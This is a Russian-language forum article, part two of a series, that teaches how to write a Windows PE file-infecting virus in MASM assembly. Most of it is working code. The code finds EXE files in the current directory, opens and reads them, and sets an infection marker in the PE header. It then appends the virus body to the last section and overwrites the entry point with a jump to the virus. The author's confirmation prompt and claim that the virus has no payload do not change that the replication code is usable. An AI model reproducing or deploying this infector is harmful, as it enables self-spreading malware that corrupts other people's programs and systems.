07.08.2025
| Главная | Поиск | Регистрация | Профиль | Вход | Выход |
Категории
Хакинг / Реверсинг [10]
Реклама
Реклама
Интересное
Главная » Статьи » Хакинг / Реверсинг » Хакинг / Реверсинг

Создаем PE-вирус №2

Пишем вирус

Перед кодингом определимся, что наш вирус должен делать. Пусть он будет искать все файлы с расширением EXE в текущей директории (не включая поддиректории) и внедрять в них свой код. При этом сделаем возможность ограничения на количество заражаемых программ за один запуск и ограничение на размер заражаемой программы. Также сделаем так, чтобы вирус трогал только файлы с одним из атрибутов: нормальный, скрытый, системный. Поэтому, прежде чем тестировать вирус, нужно установить, например, атрибут «скрытый» файлов жертв. Сама программа вируса не будет содержать никакого вредоносного кода. При запуске зараженной программы перед передачей непосредственно ей управления будет выводиться MessageBox с вопросом, хотим ли мы запустить эту программу. Если ответ положительный, выполнится код вируса, который заразит еще несколько (сколько – сами укажем в коде) программ, лежащих в одной директории с запущенной, а затем выполнится код самой зараженной программы. Если же ответ пользователя будет отрицательным – завершаем программу без заражения других близлежащих файлов и без выполнения самого кода жертвы.

Итак, цель перед собой поставили. Осталось реализовать задачу, учитывая все тонкости и проблемы, которые могут возникнуть при реализации. Приступим.

Все данные, которые мы будем использовать, хранятся в нашем вирусе, либо в глобальных переменных, либо в стеке. И, естественно, в секции кода:

begin_data:

infect_count db 0 ;
Счетчик зараженных программ

j_m_p db 0E9h
save_vir_b db 5 dup(0)
old_save_vir_b db 5 dup(0)

dwSectionAlignment dd 0

WIN32_FIND_DATA label byte
WFD_dwFileAttributes dd 0
WFD_ftCreationTime dq 0
WFD_ftLastAccessTime dq 0
WFD_ftLastWriteTime dq 0
WFD_nFileSizeHigh dd 0
WFD_nFileSizeLow dd 0
WFD_dwReserved0 dd 0
WFD_dwReserved1 dd 0
WFD_szFileName db 260 dup (0)
WFD_szAlternateFileName db 14 dup (0)
WIN32_FIND_DATA_END label byte

delta_off equ [ebp+18h]
;
Адреса функций (см. в первой части)

;--------------------------------------------------------------------
;
Таблица хешей (см. в первой части)
;--------------------------------------------------------------------

;
Режимы доступа к файлу
GENERIC_READ equ 80000000h
GENERIC_WRITE equ 40000000h
FILE_SHARE_READ equ 1
FILE_SHARE_WRITE equ 2
OPEN_EXISTING equ 3

;
Атрибуты файла
FILE_ATTRIBUTE_HIDDEN equ 2
FILE_ATTRIBUTE_SYSTEM equ 4
FILE_ATTRIBUTE_NORMAL equ 80h

;
Максимальное число жертв
MaxVictimNumber equ 2

;
Максимальный размер файла в байтах
CheckVictimSize equ 0 ;
Проверять размер?
MaxVictimSize equ 35 * 1024

;
Размер всего кода вируса в байтах
Virsize equ $-start

end_data:

dd Virsize ;
Размер кода в байтах
dd $ - save_vir_b - 4 + 4096 - Virsize ; Смещение save_vir_b относительно
;
конца 4096-байтного блока
dd begin_data - start ;
Смещение метки begin_data
;
относительно start
dd HashTable - start ;
Смещение метки HashTable
;
относительно start

Как видим, мы используем переменную infect_count в качестве счетчика зараженных программ. Само же максимальное число жертв за один запуск хранится в константе MaxVictimNumber. Переменная j_m_p содержит опкод одноименной команды. Это нужно, чтобы при внедрении в программу изменить первые 5 байт ее точки входа на код прыжка на тело нашего вируса. Эти 5 байт будем хранить в переменных (точнее, в массивах) save_vir_b и old_save_vir_b. Зачем этих переменных две? Будет ясно далее. Но коротко скажу, что вторая - для корректной работы. Переменная dwSectionAlignment будет использоваться для временного хранения значения границы выравнивания при определении выровненного значения размера файла программы-жертвы. WIN32_FIND_DATA – известная структура, используемая при поиске файлов функциями FindFirstFile, FindNextFile. Имя delta_off указывает на ту часть стека, где хранится дельта-смещение, рассмотренное выше. Как раз сюда мы сохранили это смещение первой командой push в начале кода. Константу CheckVictimSize используем для включения/выключения проверки размера файла программы-жертвы. Если эта константа равна нулю, то будут заражаться файлы любого размера. Иначе - будут заражены файлы размером не более MaxVictimSize байт. Константу Virsize используем при записи вирусного кода в жертву.

Зачем нам последние четыре двойных слова после метки end_data? Да, они не имеют смысла, но мы их сознательно создаем, чтобы после компиляции нашего вируса посмотреть в каком-нибудь HEX-редакторе (буду использовать HIEW 6.11) значения последних 32-битных двойных слов. Они будут нам нужны при написании программы-доктора, удаляющей наш вирус из зараженного файла.

Данные описали. Теперь пишем сам код. Поскольку мы храним наши данные в секции кода, то нужно разрешить писать в нее, ведь секция кода предназначена только для чтения и запуска. Сделаем это с помощью функции VirtualProtect:

 ; Разрешаем записывать данные в секцию кода
pusha
push esp
push 40h
push OFFSET end_data - OFFSET begin_data
mov eax, OFFSET begin_data
add eax, delta_off
push eax
call VirtualProtect
popa

А при сборке вируса линковщику также нужно указать, что в секцию кода можно писать:

C:\masm32\bin\ml /nologo /c /coff main.asm
C:\masm32\bin\link /nologo /subsystem:windows /out:bin\main.exe /SECTION:.text,rwe main.obj

Далее нам нужно спросить пользователя «Вы действительно хотите запустить данную программу?»:

 ; Загружаем user32.dll
pushz "user32.dll"
call LoadLibrary
push eax

;
Находим MessageBoxA
pushz "MessageBoxA"
push eax
call GetProcAddress

;
Вызываем MessageBoxA
push 24h
pushz "Заражение"
pushz "Вы действительно хотите запустить эту программу?"
push 0
call eax
mov ebx, eax
pop eax

;
Освобождаем библиотеку user32.dll
push eax
call FreeLibrary

;
Если пользователь отказался запускать программу - выходим
cmp ebx, 7 ; IDNO
je ExitVirus

Далее производим поиск файлов с определенными критериями в текущей директории:

 ; Обнуляем счетчик заражений
lea esi, infect_count
add esi, delta_off
and byte ptr [esi], 0

push eax ;
резервируем место в стеке для hFind

;
Определяем и устанавливаем текущую директорию
lea esi, WFD_szFileName
add esi, delta_off
push LENGTHOF WFD_szFileName
push esi
push 0
call GetModuleFileNameA
lea edi, WFD_szFileName
add edi, delta_off
mov ebx, eax
add ebx, edi
_scan_back:
dec ebx
cmp byte ptr [ebx], '\'
jne _scan_back
mov byte ptr [ebx], 0
push edi
call SetCurrentDirectoryA

;
Начинаем поиск программ
lea eax, WIN32_FIND_DATA
add eax, delta_off
push eax
pushz "*.exe"
call FindFirstFileA
mov hFind, eax ;
Сохраняем хендл поиска
inc eax ;
cmp eax, INVALID_HANDLE_VALUE
jnz _OpenFile ;
Если нет ошибок
jmp _Exit ;
Ошибка. Ни одного файла не найдено. Выходим

;
Продолжаем поиск
_FindNextFileA:
lea eax, WIN32_FIND_DATA
add eax, delta_off
push eax
push hFind
call FindNextFileA
or eax, eax
jz _Exit ;
Если ничего больше не найдено, выходим

;
Файл найден
_OpenFile:
;
Проверяем атрибуты
mov eax, OFFSET WFD_dwFileAttributes
add eax, delta_off
mov eax, [eax]
.IF !(eax & FILE_ATTRIBUTE_HIDDEN || eax & FILE_ATTRIBUTE_SYSTEM ||
eax & FILE_ATTRIBUTE_NORMAL)
;
Атрибуты не подходят. Пропускаем файл
jmp _FindNextFileA
.ENDIF

;
Проверяем размер файла
mov eax, OFFSET WFD_nFileSizeLow
add eax, delta_off
mov eax, [eax]
mov ebx, CheckVictimSize
.IF ebx && eax > MaxVictimSize
;
Размер не подходит. Пропускаем файл
jmp _FindNextFileA
.ENDIF

;
Открываем файл
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ OR FILE_SHARE_WRITE
push GENERIC_READ OR GENERIC_WRITE
mov eax, OFFSET WFD_szFileName
add eax, delta_off
push eax
call CreateFileA
inc eax
jz _FindNextFileA ;
Не удалось открыть. Продолжаем поиск
dec eax
push eax ;
Сохраним hFile

Далее нам нужно обнулить то, что находится в WIN32_FIND_DATA. Зачем? Можно, конечно, этого не делать, но тогда при просмотре кода жертвы мы увидим, где лежал файл, когда его заражали. Нас выдаст поле WFD_szFileName и, возможно, WFD_szAlternateFileName.

 ; Обнуляем данные
lea esi, WIN32_FIND_DATA
add esi, delta_off
mov ecx, WIN32_FIND_DATA_END - WIN32_FIND_DATA - 1
@@zero_WIN32_FIND_DATA:
and byte ptr [esi + ecx], 0
loop @@zero_WIN32_FIND_DATA
and byte ptr [esi], 0

Потом нам нужно прочитать из PE-заголовка жертвы значение выравнивания в переменную dwSectionAlignment, чтобы потом вычислить по действительному размеру файла его выровненное значение:

 ; Читаем значение выравнивания SectionAlignment
push 0
push 0
push 3Ch
push hFile
call SetFilePointer

lea esi, dwSectionAlignment
add esi, delta_off
push 0
push esp
push 4
push esi
push hFile
call ReadFile

mov eax, [esi]
add eax, 38h
push 0
push 0
push eax
push hFile
call SetFilePointer

lea esi, dwSectionAlignment
add esi, delta_off
push 0
push esp
push 4
push esi
push hFile
call ReadFile

push 0
push 0
push 0
push hFile
call SetFilePointer

Осталось получить размеры файла (реальный и выровненный) и прочитать его содержимое в выделенную память:

 ; Получаем размер файла программы-жертвы
push 0
push hFile
call GetFileSize
push eax ;
Сохраняем оригинальный размер файла dwFileSize
lea esi, dwSectionAlignment
add esi, delta_off
mov edi, [esi]
mov esi, Virsize
dec edi
add esi, edi
not edi
and esi, edi
add eax, esi
push eax ;
Сохраняем размер файла dwAlignedFileSize

; Выделяем память под размер файла dwAlignedFileSize
push eax
push 0
call GlobalAlloc
push eax ;
Сохраняем адрес распределенной памяти pAllocMem

; Сейчас стек содержит:
; pAllocMem
; dwAlignedFileSize
; dwFileSize
; hFile

;
Проверяем, нет ли ошибки при выделении памяти
test eax, eax
jz _CloseFile ;
Ошибка есть

; Читаем файл
push 0
push esp
push dwFileSize ;
Количество байт для чтения
push eax ;
Буфер для прочитанных данных
push hFile
call ReadFile
or eax, eax
jz _CloseFile ;
Прыгаем, если не удалось прочитать файл

Вот и добрались до инфицирования. Перед заражением нужно проверить, заражен ли уже файл, заглянув в его PE-заголовок за значением резервного поля, о котором я упоминал выше - Win32VersionValue. Запишу туда дату рождения своей подруги в шестнадцатеричном виде:

 ; Далее - код инфицирования
mov edi, pAllocMem ; Начало прочитанного файла
add edi, [edi + 3Ch] ; VA of PE header
cmp word ptr [edi], 4550h ; Проверка на валидность ...
jne _Exit

add edi, 4Ch
cmp dword ptr [edi], 10041986h ;
Поле Reserv. Проверяем, заражен ли файл
;
нашим вирусом
je _CloseFile
mov dword ptr [edi], 10041986h ;
если нет, то ставим метку о заражении
sub edi, 4Ch

Прежде, чем рассматривать код добавления в конец последней секции кода нашего вируса, нужно уяснить, как выглядит дескриптор секции в таблице секций ObjectTable:

ObjectName - Имя объекта (секции);
VirtualSize - Виртуальный размер секции (в памяти);
SectionRVA - RVA секции (в памяти, относительно Image Base);
PhysicalSize - Физический размер секции (в файле);
PhysicalOffset - Физическое смещение (в файле относительно его начала);
Reserved - Зарезервировано (для OBJ);
ObjectFlags - Битовые флаги секции.

Каждый такой дескриптор описывает одну секцию. В ObjectTable элементы идут последовательно друг за другом без промежутков, но не обязательно в порядке возрастания PhysicalOffset и SectionRVA. Т.е. последний элемент не всегда описывает последнюю секцию, хотя в большинстве случаев это так (под «последней секцией» я подразумеваю секцию, которая физически и виртуально находится в файле последней). Здесь нам понадобится физическое смещение последней секции и смещение ее дескриптора (из ObjectTable) - для того, чтобы пропатчить некоторые значения (а именно: VirtualSize, PhysicalSize, ObjectFlags).

Найдем самое большое значение PhysicalOffset из всех дескрипторов. Дескриптор, содержащий это значение, и будет нам нужен. Так же нам понадобится найти дескриптор, который содержит наибольшее значение VirtualRVA. Зачем? Дело в том, что секция может быть физически в файле последней, а вот виртуально, т.е. в памяти, она может расположиться где угодно, например, первой. Тогда при ее расширении мы затрем последующую секцию в памяти. Такое встречается крайне редко, но нам все равно нужно обязательно это учесть, чтобы вирус работал даже в таких условиях. Затем мы проверяем, принадлежат ли значения PhysicalOffset и VirtualRVA одному дескриптору. Если да, то секция последняя и физически в файле, и виртуально в памяти. Если нет – ошибочка вышла:

 ; Ищем последнюю секцию
_SearchLastSection:
movzx ecx, word ptr [edi + 6] ;
Количество элементов (счетчик) в
;
таблице секций ObjectTable
movzx esi, word ptr [edi + 14h] ;
Размер опционального заголовка.
;
Перепрыгиваем через опциональный заголовок. Попадаем на дескриптор первой
;
секции:
lea esi, [edi+esi+18h] ;
VA первой секции
mov ebx, [esi + 14h] ;
Наибольшее значение PhysicalOffset
mov edx, [esi + 0Ch] ;
Наибольшее значение VirtualRVA
push esi ;
Сохраним VA элемента с наибольшим
;
VirtualRVA
push esi ;
Сохраним VA элемента с наибольшим
;
PhysicalOffset

_SearchHighPhysOffs: ;
Ищем
cmp ebx, [esi + 14h] ;
Если оно меньше, чем в наибольшем,
;
то...
ja _SearchHighVirtRVA
mov ebx, [esi + 14h] ; Иначе, примем за наибольшее
mov [esp], esi

_SearchHighVirtRVA: ;
Аналогично, но с VirtualRVA
cmp edx, [esi + 0Ch]
ja _OtherElement
mov edx, [esi + 0Ch]
mov [esp + 4], esi

_OtherElement:
add esi, 28h ;
... переходим на дескриптор
;
следующей секции
loop _SearchHighPhysOffs ;
перебираем дескрипторы всех секций
pop esi
pop edi

;
esi - VA элемента с наибольшим PhysicalOffset
;
edi - VA элемента с наибольшим VirtualRVA
;
ebx - Физическое смещение секции с наибольшим PhysicalOffset
;
edx - Виртуальное смещение секции с наибольшим VirtualRVA

;
Проверяем последнюю секцию на правильность
_CheckOnValid:
cmp esi, edi ;
Проверим, принадлежат ли найденные
;
смещения одному дескриптору
jne _CloseFile ;
Не принадлежат - выходим
mov edi, pAllocMem ;
Начало прочитанного файла
mov edx, [esi + 10h] ;
edx = физический размер последней
;
секции
or edx, edx ;
Проверим физический размер
;
последней секции
jz _CloseFile ; недопустимо, чтобы был 0

Посмотрим ради интереса, что покажет нам HIEW, если мы натравим его на calc.exe (стандартный калькулятор в системе Windows):

Здесь мы видим, что последняя секция имеет имя “.rsrc” (секция ресурсов). SectionRVA этой секции – 00016000h, PhysicalOffset = 00013600h. Она действительно последняя, т.к. SectionRVA и PhysicalOffset предыдущих секций меньше.

Хорошо, последнюю секцию мы нашли и определили ее виртуальное и физическое смещение. Казалось бы, мы уже можем дописать наш код в конец этой секции, но тут есть проблема. Существуют такие программы, в которых после последней секции идут какие-то полезные данные. Чаще всего это самораспаковывающиеся архивы. Получается, что если мы допишем код в конец последней секции, то мы затрем то, что было после этой секции. В результате архив поврежден и в итоге мы получим сообщение вроде следующего (пример для WinRAR):

Поэтому, чтобы избежать этого, такие программы лучше не трогать:

 ; Теперь проверим: если физический_размер_секции + 
; физическое_смещение_секции меньше, чем размер всего файла, то файл не
; трогаем, т.к. скорее всего это самораспаковывающийся архив. Мы его
; повредим, затерев данные за последней секцией
mov eax, [esi + 10h]
add eax, [esi + 14h]
.IF eax < dwFileSize
jmp _CloseFile
.ENDIF

Как мы уже заметили ранее, перед передачей управления основной программе, сначала должен выполниться вирусный код. А для этого мы решили изменить первые 5 байт точки входа на команду jmp. Итак, нам нужно найти точку входа в файле:

_WriteVirus:
push esi
push edi ;
Сохраним VA жертвы
mov ecx, dword ptr Virsize ;
Размер записываемого кода
add edi, ebx ;
VA последней секции жертвы
add edi, [esi + 10h] ;
Теперь edi указывает на конец
;
последней секции
mov ebx, esi
lea esi, start
add esi, delta_off

;
Сохраняем 5 байт save_vir_b в old_save_vir_b
pusha
mov ecx, 5h
lea esi, save_vir_b
add esi, delta_off
lea edi, old_save_vir_b
add edi, delta_off
rep movsb
popa

pusha

;
формируем код прыжка на тело вируса

;
Высчитываем RVA кода вируса в памяти относительно ImageBase
;
RVA кода вируса = RVA последней секции + Physical Size последней секции
mov eax, [ebx + 0Ch]
add eax, [ebx + 10h]
;
eax = RVA кода вируса в памяти относительно ImageBase

;
Находим физическое смещение точки входа жертвы
;
Ищем описатель секции с SectionRVA = BaseOfCode
_SearchCodeSection:
mov edi, pAllocMem ;
Начало прочитанного файла
add edi, [edi + 3Ch] ;
VA of PE header
movzx ecx, word ptr [edi + 6] ;
Количество элементов в таблице
;
секций
movzx esi, word ptr [edi + 14h] ;
Размер опционального заголовка.
;
Перепрыгиваем через опциональный
;
заголовок. Попадаем на дескриптор
;
первой секции:
lea esi, [edi+esi+18h] ;
VA первой секции

_SearchCodeSectionLoop:
mov edx, [esi + 0Ch] ;
значение VirtualRVA
cmp edx, [edi + 2Ch] ; сравниваем VirtualRVA с BaseOfCode
je _CodeSectionFounded ; нашли
add esi, 28h ; не нашли
loop _SearchCodeSectionLoop ; продолжаем цикл поиска

_CodeSectionFounded:
mov ebx, [esi + 14h] ;
берем PhysicalOffset найденной
; секции кода
add ebx, [edi + 28h] ; складываем PhysicalOffset c
; EntryPointRVA
sub ebx, [edi + 2Ch] ; вычитаем BaseOfCode. Получили
; смещение точки входа
; относительно начала файла жертвы
;
ebx = физическое смещение точки входа относительно начала файла жертвы

Т.е. здесь мы сравниваем значение поля BaseOfCode PE-заголовка со значением VirtualRVA для каждой секции. Если совпадают, берем PhysicalOffset найденной секции, складываем с виртуальным смещением точки входа (в памяти) EntryPointRVA и вычитаем BaseOfCode. В результате получаем физическое смещение точки входа относительно начала файла жертвы. Осталось дописать код вируса в конец последней секции:

 ; Высчитываем прыжок
mov ecx, [edi + 28h]
add ecx, 5
sub ecx, eax
xor eax, eax
sub eax, ecx
push eax ;
результат формулы x = 0 - (y - z)

;
сохраняем старые 5 бaйт начала кода жертвы
mov ecx, 5h
lea edi, save_vir_b
add edi, delta_off
mov esi, pAllocMem
add esi, ebx
rep movsb

;
записываем джамп на код вируса
mov edi, pAllocMem
add edi, ebx
lea esi, j_m_p
add esi, delta_off
movsb
pop ebx
mov dword ptr [edi], ebx

popa

rep movsb ;
Записываем тело вируса в файл жертвы

;
Восстанавливаем 5 байт save_vir_b из old_save_vir_b
pusha
mov ecx, 5h
lea esi, old_save_vir_b
add esi, delta_off
lea edi, save_vir_b
add edi, delta_off
rep movsb
popa

pop edi
pop esi

Теперь нам нужно обязательно пофиксить дескриптор последней секции, в конец которой мы дописались. Для начала нам нужно увеличить физический и виртуальный размеры этой секции на величину вирусного кода, после чего выровнять полученные новые значения. Поля в дескрипторе соответственно следующие: PhysicalSize и VirtualSize.

Если поподробнее, то PhysicalSize является размером секции (ее инициализированной части) в файле, кратно полю FileAlign в заголовке PE Header, должно быть меньше или равно VirtualSize. А VirtualSize - виртуальный размер секции. Именно столько памяти будет отведено под секцию. Если VirtualSize превышает PhysicalSize, то разница заполняется нулями, так определяются секции неинициализированных данных.

А что такое выравнивание? Это округление выравниваемого значения в бОльшую сторону до кратности с некоторым значением. Назовем его выравнивающим фактором.

В PE-заголовке есть поля, по значениям которых (по выравнивающим факторам) выравниваются PhysicalSize и VirtualSize по следующей формуле:

(x + (y - 1)) & (~(y - 1)),
где x-выравниваемое значение, y-выравнивающий фактор.

На ассемблере мы бы написали:

mov eax, y
dec eax
add x, eax
not eax
and x, eax
Категория: Хакинг / Реверсинг | Добавил: MalCer (31.07.2009)
Просмотров: 617 | Рейтинг: 0.0/0 |
Всего комментариев: 0
Реклама
Кабинет

Читать ЛС ()

Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь!



Фраза дня:
Кто с нами

Сегодня были:
Статистика
Партнеры
Graffiti Decorations(R) Studio (TM) Site Promoter Mnogo-softa.net.ru-Софт,срипты,шаблоны и др. MEGA-ToP-ТОП раскрутка раскрутка сайтов. Рейтинг лучших сайтов
описание